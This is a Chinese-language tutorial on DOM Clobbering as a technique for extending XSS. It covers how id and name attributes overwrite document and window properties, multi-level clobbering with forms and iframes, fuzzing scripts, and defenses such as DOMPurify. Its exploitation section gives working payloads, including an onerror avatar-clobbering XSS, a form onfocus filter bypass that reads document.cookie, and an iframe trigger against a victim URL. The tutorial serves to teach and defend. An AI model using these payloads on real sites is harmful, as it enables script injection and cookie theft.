使用 Dom Clobbering 扩展 XSS
字数 1209 2025-08-22 12:23:36
DOM Clobbering 技术详解
基础概念
DOM Clobbering 是一种通过注入 HTML 代码来操纵 DOM 并最终改变页面上 JavaScript 行为的技术。在无法直接实现 XSS 的情况下,可以考虑使用这种技术。
DOM 背景
- DOM 最初是在没有任何标准化的情况下实现的,导致了许多特殊行为
- 为了保持兼容性,许多浏览器仍然支持异常的 DOM 行为
- DOM Level 0 & 1 仅提供了有限的通过 JavaScript 引用元素的方式
- 浏览器有时会向各种 DOM 元素添加 name & id 属性作为对文档或全局对象的属性引用
基本示例
示例1:创建对象
<script>
alert(document.test); // 显示img元素
</script>
通过 id 或 name 属性,可以在 document 或 window 对象下创建一个对象。
示例2:覆盖属性
<script>
alert(document.cookie); // 显示img元素而非cookie
</script>
可以覆盖 document.cookie 这样的属性。
示例3:覆盖方法
<script>
alert(document.body.appendChild); // 显示img元素而非方法
</script>
可以覆盖 document.body.appendChild 这样的方法。
攻击方法
转换为字符串
大多数情况下需要将 HTMLElement 对象转换为可控的字符串类型:
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
可以得到两种标签对象:
HTMLAreaElement(<area>)HTMLAnchorElement(<a>)
这两个标签都可以利用 href 属性进行字符串转换。
HTMLCollection 使用
构建两层结构:
<div id="x">
<a id="x" name="y" href="1:hasaki"></a>
</div>
<script>
alert(x.y); // 显示 "1:hasaki"
</script>
通过 HTMLCollection 和 name 属性可以实现两层引用。
HTML 标签关系
通过 Fuzz 测试可以发现以下标签关系可用于构建层级:
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea
示例:
<form id="x"><output id="y">I've been clobbered</output>
<script>
alert(x.y.value); // 显示 "I've been clobbered"
</script>
三层结构
<form id="x" name="y"><output id="z">I've been clobbered</output></form>
<form id="x"></form>
<script>
alert(x.y.z.value); // 显示 "I've been clobbered"
</script>
更多层级
使用 iframe 与 srcdoc 配合构建更多层级:
<iframe name="a" srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>
setTimeout(()=>alert(a.b.c.d),500) // 显示 "cid:Clobbered"
</script>
自定义属性
大多数自定义属性无法直接利用,但可以 Fuzz 可用的字符串类型属性:
var html = [...] // HTML元素数组
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
发现 a 标签的 username 和 password 属性可以利用:
<a id="x" href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username) // 显示 "Clobbered-username"
alert(x.password) // 显示 "Clobbered-password"
</script>
实际利用示例
示例1:利用 DOM Clobbering 实现 XSS
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:"onerror=alert(1)//">
示例2:绕过 HTML 过滤器
<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>
使用 iframe 触发:
<iframe src=https://victim.com/post?postId=3 onload="setTimeout(a=>this.src=this.src+'#x',500)">
防御措施
- 检查变量预期类型,确保属性是预期的类型而非 HTMLElement
- 代码规范,避免滥用全局变量
- 使用经过测试的库,如 DOMPurify
技术细节
Document 可 Clobber 的属性
- 通过 id:仅
object标签 - 通过 name:
embed,form,image,img,object - 同时使用 id 和 name:
image,img,object
Window 可 Clobber 的属性
- 几乎所有标签都可以通过 id 在 window 对象上创建属性
- 通过 name:
embed,form,image,img,object
不可 Clobber 的标签
body, caption, col, colgroup, frame, frameset, head, html, tbody, td, tfoot, th, thead, tr